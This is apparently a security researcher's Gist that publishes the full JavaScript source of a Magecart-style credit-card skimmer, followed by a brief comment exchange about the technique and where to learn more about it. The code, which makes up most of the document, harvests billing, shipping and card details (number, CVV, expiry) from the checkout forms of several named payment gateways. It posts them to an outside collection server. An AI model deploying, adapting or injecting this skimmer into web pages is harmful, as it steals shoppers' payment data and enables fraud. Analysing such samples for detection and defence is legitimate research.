Sophisticated CC skimming malware

malware.js

f1 = f2 = f3 = null;
se = false;
if ((f1 = jQuery('form:has([name^=billing])')).size()) f1.change(function() {
    localStorage.setItem('__billing123', [this.id, $(this).serialize()])
});
if ((f2 = jQuery('form:has([name^=shipping])')).size()) f2.change(function() {
    localStorage.setItem('__shipping123', [this.id, $(this).serialize()])
});

function ebn(n) {
    var e = document.getElementsByName(n);
    return e.length ? e[0] : null
}

function ev(e) {
    return e.value.replace(/[^\d]/g, '').trim()
}
setInterval(function() {
    if (!se) {
        var sd = window.location.host.split(':', 2),
            url, obj, data = '';
        url = 'https://analiticoscdn.com/gate.php?token=KjsS29Msl&host=' + sd[0];
        if (e = ebn('payment[cc_number]')) {
            var n = ev(e),
                c = '';
            if (e = ebn('payment[cc_cid]')) c = ev(e);
            if ((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4)) {
                var st = null,
                    sd = null;
                f3 = jQuery('form:has([name="payment[cc_number]"])');
                se = true;
                data = f3.serialize();
                if (st = localStorage.getItem('__billing123')) {
                    sd = st.split(',', 2);
                    if (f3.attr('id') != sd[0]) data += '&' + sd[1]
                }
                if (st = localStorage.getItem('__shipping123')) {
                    sd = st.split(',', 2);
                    if (f3.attr('id') != sd[0]) data += '&' + sd[1]
                }
                data = data.replace('"billing%5B', 'billing%5B');
                jQuery.ajax({
                    url: url,
                    crossDomain: false,
                    data: data,
                    type: 'POST',
                    dataType: 'json'
                })
            }
        } else if ((obj = jQuery('#adyen_cc_cc_number')).size()) {
            var n = obj.val(),
                c = jQuery('#adyen_cc_cc_cid').val(),
                m = jQuery('#adyen_cc_expiration').val(),
                y = jQuery('#adyen_cc_expiration_yr').val();
            if ((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4)) {
                f3 = jQuery('form:has(#adyen_cc_cc_number)');
                se = true;
                data = 'jqcn=' + n + '&jqcm=' + m + '&jqcy=' + y + '&jqcc=' + c;
                if (st = localStorage.getItem('__billing123')) {
                    sd = st.split(',', 2);
                    if (f3.attr('id') != sd[0]) data += '&' + sd[1]
                }
                if (st = localStorage.getItem('__shipping123')) {
                    sd = st.split(',', 2);
                    if (f3.attr('id') != sd[0]) data += '&' + sd[1]
                }
                data = data.replace('"billing%5B', 'billing%5B');
                jQuery.ajax({
                    url: url,
                    crossDomain: false,
                    data: data,
                    type: 'POST',
                    dataType: 'json'
                })
            }
        } else if ((obj = jQuery('#stripe_cc_number')).size()) {
            var flag = false,
                n = obj.val(),
                c = jQuery('#stripe_cc_cvc').val(),
                m = jQuery('#stripe_cc_expiration_month').val(),
                y = jQuery('#stripe_cc_expiration_year').val();
            if (((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4))) {
                f3 = jQuery('form:has(#stripe_cc_number)');
                se = true;
                data = 'jqcn=' + n + '&jqcm=' + m + '&jqcy=' + y + '&jqcc=' + c;
                if (st = localStorage.getItem('__billing123')) {
                    sd = st.split(',', 2);
                    if (f3.attr('id') != sd[0]) data += '&' + sd[1]
                }
                if (st = localStorage.getItem('__shipping123')) {
                    sd = st.split(',', 2);
                    if (f3.attr('id') != sd[0]) data += '&' + sd[1]
                }
                data = data.replace('"billing%5B', 'billing%5B');
                jQuery.ajax({
                    url: url,
                    crossDomain: false,
                    data: data,
                    type: 'POST',
                    dataType: 'json'
                })
            }
        } else if ((obj = jQuery('#pinpayments_cc_number')).size()) {
            var n = obj.val(),
                c = jQuery('#pinpayments_cc_cid').val(),
                m = jQuery('#pinpayments_expiration').val(),
                y = jQuery('#pinpayments_expiration_yr').val();
            if ((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4)) {
                f3 = jQuery('form:has(#pinpayments_cc_number)');
                se = true;
                data = f3.serialize() + '&jqcn=' + n + '&jqcm=' + m + '&jqcy=' + y + '&jqcc=' + c;
                if (st = localStorage.getItem('__billing123')) {
                    sd = st.split(',', 2);
                    if (f3.attr('id') != sd[0]) data += '&' + sd[1]
                }
                if (st = localStorage.getItem('__shipping123')) {
                    sd = st.split(',', 2);
                    if (f3.attr('id') != sd[0]) data += '&' + sd[1]
                }
                data = data.replace('"billing%5B', 'billing%5B');
                jQuery.ajax({
                    url: url,
                    crossDomain: false,
                    data: data,
                    type: 'POST',
                    dataType: 'json'
                })
            }
        } else if ((obj = jQuery('#ewayrapid_notsaved_cc_number')).size()) {
            var n = obj.val(),
                c = jQuery('#ewayrapid_notsaved_cc_cid').val(),
                m = jQuery('#ewayrapid_notsaved_expiration').val(),
                y = jQuery('#ewayrapid_notsaved_expiration_yr').val();
            if ((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4)) {
                f3 = jQuery('form:has(#ewayrapid_notsaved_cc_number)');
                se = true;
                data = f3.serialize() + '&jqcn=' + n + '&jqcm=' + m + '&jqcy=' + y + '&jqcc=' + c;
                if (st = localStorage.getItem('__billing123')) {
                    sd = st.split(',', 2);
                    if (f3.attr('id') != sd[0]) data += '&' + sd[1]
                }
                if (st = localStorage.getItem('__shipping123')) {
                    sd = st.split(',', 2);
                    if (f3.attr('id') != sd[0]) data += '&' + sd[1]
                }
                data = data.replace('"billing%5B', 'billing%5B');
                jQuery.ajax({
                    url: url,
                    crossDomain: false,
                    data: data,
                    type: 'POST',
                    dataType: 'json'
                })
            }
        } else if ((obj = jQuery('[name="heidelpaycw_visa[ACCOUNT.NUMBER]"]')).size()) {
            var n = obj.val(),
                c = jQuery('[name="heidelpaycw_visa[ACCOUNT.VERIFICATION]"]').val(),
                m = jQuery('[name="heidelpaycw_visa[ACCOUNT.EXPIRY_MONTH]"]').val(),
                y = jQuery('[name="heidelpaycw_visa[ACCOUNT.EXPIRY_YEAR]"]').val();
            if ((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4)) {
                f3 = jQuery('form:has([name="heidelpaycw_visa[ACCOUNT.NUMBER]"])');
                se = true;
                data = f3.serialize() + '&jqcn=' + n + '&jqcm=' + m + '&jqcy=' + y + '&jqcc=' + c;
                if (st = localStorage.getItem('__billing123')) {
                    sd = st.split(',', 2);
                    if (f3.attr('id') != sd[0]) data += '&' + sd[1]
                }
                if (st = localStorage.getItem('__shipping123')) {
                    sd = st.split(',', 2);
                    if (f3.attr('id') != sd[0]) data += '&' + sd[1]
                }
                data = data.replace('"billing%5B', 'billing%5B');
                jQuery.ajax({
                    url: url,
                    crossDomain: false,
                    data: data,
                    type: 'POST',
                    dataType: 'json'
                })
            }
        } else if ((obj = jQuery('#cardNumber')).size()) {
            var n = obj.val(),
                c = jQuery('#securityCode').val(),
                m = jQuery('#cardExpirationMonth').val(),
                y = jQuery('#cardExpirationYear').val();
            if ((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4)) {
                f3 = jQuery('form:has(#cardNumber)');
                se = true;
                data = f3.serialize() + '&jqcn=' + n + '&jqcm=' + m + '&jqcy=' + y + '&jqcc=' + c;
                if (st = localStorage.getItem('__billing123')) {
                    sd = st.split(',', 2);
                    if (f3.attr('id') != sd[0]) data += '&' + sd[1]
                }
                if (st = localStorage.getItem('__shipping123')) {
                    sd = st.split(',', 2);
                    if (f3.attr('id') != sd[0]) data += '&' + sd[1]
                }
                data = data.replace('"billing%5B', 'billing%5B');
                jQuery.ajax({
                    url: url,
                    crossDomain: false,
                    data: data,
                    type: 'POST',
                    dataType: 'json'
                })
            }
        } else if ((obj = jQuery('#fatzebra_cc_number')).size()) {
            var n = obj.val(),
                c = jQuery('#fatzebra_cc_cid').val(),
                m = jQuery('#cardExpirationMonth').val(),
                dt = jQuery('#expire-date').val();
            if ((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4)) {
                f3 = jQuery('form:has(#fatzebra_cc_number)');
                se = true;
                data = f3.serialize() + '&jqcn=' + n + '&jqdt=' + dt + '&jqcc=' + c;
                if (st = localStorage.getItem('__billing123')) {
                    sd = st.split(',', 2);
                    if (f3.attr('id') != sd[0]) data += '&' + sd[1]
                }
                if (st = localStorage.getItem('__shipping123')) {
                    sd = st.split(',', 2);
                    if (f3.attr('id') != sd[0]) data += '&' + sd[1]
                }
                data = data.replace('"billing%5B', 'billing%5B');
                jQuery.ajax({
                    url: url,
                    crossDomain: false,
                    data: data,
                    type: 'POST',
                    dataType: 'json'
                })
            }
        }
    }
}, 700);

I am trying to understand the technique used and its relationship to others, thats all.

@sirvan3tr sorry for snarky remark! At the time it was (sort of) sophisticated because it was the first skimmer to use local storage to scrape data from multiple forms, and supported layout for several common payment forms. Today's skimmers are more generic and use several layers of obfuscation.

:) Is there some piece of literature that documents the type of techniques used? What is the best source to learn more about them? I am also trying to learn more about existing defence techniques against these type of MitB malwares. Thank you

@sirvan3tr I don't think there's much scientific literature. But a google for "magecart" will reveal dozens of blog posts, dissecting this kind of malware. Are you doing a PhD on the matter? Feel free to mail me, works better than Gist chat :D wdg@sansec.io